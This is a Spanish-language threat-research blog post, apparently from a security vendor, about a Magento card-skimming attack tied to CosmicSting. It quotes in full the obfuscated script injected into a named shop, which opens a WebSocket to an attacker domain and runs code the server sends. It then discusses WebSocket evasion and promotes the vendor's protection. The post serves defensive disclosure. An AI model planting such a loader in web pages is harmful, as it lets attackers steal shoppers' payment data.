En cside, monitorizamos activamente los ataques a la cadena de suministro del lado del cliente, con especial atención a las tácticas, técnicas y procedimientos (TTPs) en evolución utilizados por los actores de amenazas.
Uno de los ataques más frecuentes que hemos observado en los últimos meses es el dirigido a sitios web de comercio electrónico construidos sobre el framework Magento.
En particular, hemos seguido de cerca el ataque Cosmic Sting (CVE-2024-34102), ampliamente documentado, incluso por Sansec (https://sansec.io/research/cosmicsting).
TTP Reciente Observada Tradicionalmente, estos ataques han consistido en la inyección de JavaScript (JS) de terceros para crear una capa superpuesta que roba información de tarjetas de crédito (CC) y exfiltra datos sensibles.
Sin embargo, ayer mismo (domingo 13 de octubre), observamos una TTP novedosa e intrigante en la que el atacante adoptó un enfoque diferente.
En lugar de cargar directamente JavaScript malicioso en el sitio Magento, estableció una conexión WebSocket para comunicarse con un servidor de terceros. Este ataque tuvo como objetivo el sitio web sosessentials.co.uk, que funciona sobre Magento 2.4 (Community).
Durante nuestra investigación, encontramos el siguiente script inyectado en el sitio comprometido:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>Al decodificar este script ofuscado, descubrimos que establece una conexión WebSocket con la siguiente URL: wss://gstatlc[.]org/jivo?source=.
En el momento del análisis no pudimos obtener respuesta del servidor remoto, pero basándonos en los patrones de ataque observados, creemos que esta conexión estaba probablemente destinada a fines de web skimming, es decir, al robo de datos de clientes como información de tarjetas de crédito.
Detalles del dominio El sitio web remoto, gstatlc.org, fue creado apenas tres días antes, lo cual es una señal de alerta clara de que este dominio forma parte de la infraestructura del atacante.
A continuación se muestran los detalles relevantes del dominio:
- Fecha de creación: 2024-10-11
- Fecha de expiración: 2025-10-11
- Última actualización: 2024-10-11
La nueva tendencia: WebSockets para skimming Este ataque representa una evolución interesante en las TTPs, especialmente a medida que más proveedores de seguridad comienzan a detectar los ataques de inyección de JavaScript más habituales.
En lugar de simplemente cargar JavaScript malicioso a través de HTTP, el atacante estableció una conexión WebSocket (protocolo WSS) para cargar scripts y posiblemente otros datos de forma remota. Esto añade complejidad al ataque, ya que los WebSockets proporcionan comunicación bidireccional en tiempo real que puede ser más difícil de detectar e inspeccionar que las peticiones HTTP convencionales.
¿Por qué WebSockets?
Algunos aspectos destacables del uso de WebSockets (WSS) en ataques incluyen:
Comunicación en tiempo real: Los WebSockets permiten una comunicación continua y bidireccional entre el cliente y el servidor remoto, lo que facilita la exfiltración de datos o la modificación de scripts al vuelo. Evasión de defensas tradicionales: Muchas defensas web y políticas de seguridad de contenido (CSPs) están orientadas a bloquear cargas de recursos basadas en HTTP.
Los WebSockets, al utilizar el protocolo WSS, pueden evadir la detección si no se monitorizan adecuadamente. Menor dependencia de recargas de página: A diferencia de los métodos tradicionales, en los que los atacantes dependían de la inyección de scripts para robar datos durante cargas de página o interacciones del usuario, los WebSockets permiten la monitorización continua y la exfiltración de datos sensibles sin necesidad de que el usuario recargue la página o navegue a otra.
El enfoque de cside para la protección del lado del cliente
En cside, adoptamos un papel activo en la protección de nuestros usuarios frente a amenazas del lado del cliente en constante evolución, como la descrita anteriormente. Una de las estrategias clave que empleamos es el proxying de archivos JavaScript para su análisis. Con ello, podemos interceptar e inspeccionar los archivos JavaScript que los sitios web intentan cargar desde servidores remotos, garantizando que son seguros y están libres de contenido malicioso.
Este enfoque ha supuesto una mejora del 30 % en la detección e interceptación de archivos JavaScript remotos antes de que se ejecuten en los navegadores de los usuarios. Cabe destacar que nuestro sistema garantiza que no se cargue ningún JS malicioso, lo que previene eficazmente ataques como el skimming de tarjetas de crédito y la exfiltración de datos.
Nuestro enfoque en la monitorización de la actividad del lado del cliente garantiza que los usuarios de cside estén protegidos frente a este tipo de ataques sofisticados. Monitorizamos, analizamos y bloqueamos continuamente los scripts dañinos antes de que puedan causar daño, proporcionando una capa adicional de seguridad a nuestros usuarios y asegurando que su información sensible permanezca protegida.
Al anticiparnos a las nuevas TTPs y adaptarnos a ellas, garantizamos que nuestros usuarios siempre vayan un paso por delante de los atacantes, protegiendo sus entornos en línea frente a amenazas como este ataque de skimming basado en WebSockets.
